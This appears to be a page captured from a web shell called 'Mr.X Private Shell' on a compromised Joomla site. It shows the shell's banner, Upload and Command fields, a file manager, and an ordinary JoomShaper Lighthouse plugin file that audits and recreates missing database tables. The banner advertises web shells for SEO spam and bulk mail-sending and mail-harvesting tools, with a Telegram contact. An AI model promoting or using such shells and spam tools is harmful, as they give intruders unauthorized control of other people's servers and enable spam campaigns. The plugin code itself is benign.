__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @package Plg_Lighthouse
 * @author JoomShaper <[email protected]>
 * @copyright Copyright (c) 2010 - 2022 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;

/**
 * Audit tables trait
 *
 * @since	1.0.0
 */
trait AuditTablesTrait
{
	private function auditTables()
	{
		$installedTables = $this->getAllTheInstalledTables();
		$tableNames = $this->getTableNames();
		$missingTables = [];

		foreach ($tableNames as $name)
		{
			if (!in_array($this->getRealTableName($name), $installedTables))
			{
				$missingTables[] = $name;
			}
		}

		if (!empty($missingTables))
		{
			$this->missingBuffer[] = "<div class='maintenance-issue-list'>";
			$this->missingBuffer[] = "<h4><span class='maintenance-issue-icon'><span class='fa fa-times'></span></span> Missing Tables</h4>";
			$this->missingBuffer[] = "<ul>";

			foreach ($missingTables as $tbl)
			{
				$this->missingBuffer[] = "<li>";
				$this->missingBuffer[] = "Table <code>" . $tbl . "</code> does not exist.";
				$this->missingBuffer[] = "</li>";
			}

			$this->missingBuffer[] = "</ul>";
			$this->missingBuffer[] = "</div>";
		}

		return $missingTables;
	}

	private function fixMissingTables($tables)
	{
		if (!empty($tables))
		{
			$this->fixedBuffer[] = "<div class='maintenance-issue-list'>";
			$this->fixedBuffer[] = "<h4><span class='maintenance-issue-resolved-icon'><span class='fa fa-check'></span></span> Fixed Missing Tables</h4>";
			$this->fixedBuffer[] = "<ul>";

			foreach ($tables as $table)
			{
				$createSql = implode("\n", $this->tables[$table]);

				try
				{
					$db = Factory::getDbo();
					$db->setQuery($createSql);
					$db->execute();

					$this->fixedBuffer[] = "<li>";
					$this->fixedBuffer[] = "Created <code class='success'>" . $table . "</code> table successfully!";
					$this->fixedBuffer[] = "</li>";
				}
				catch (Exception $e)
				{
					$this->errors[] = $e->getMessage();
					$this->fixedBuffer[] = "<li>Failed to fix for the problem <code>" . $e->getMessage() . "</code></li>";
					continue;
				}
			}

			$this->fixedBuffer[] = "</div>";
		}
	}

	private function auditAndFixTables()
	{
		$missing = $this->auditTables();
		$this->fixMissingTables($missing);
	}
}

Filemanager

Name Type Size Permission Actions
AuditTableFieldDefaultTrait.php File 3.97 KB 0664
AuditTableFieldNullableTrait.php File 3.89 KB 0664
AuditTableFieldTypesTrait.php File 3.42 KB 0664
AuditTableFieldsTrait.php File 5.04 KB 0664
AuditTablesTrait.php File 2.23 KB 0664
Filemanager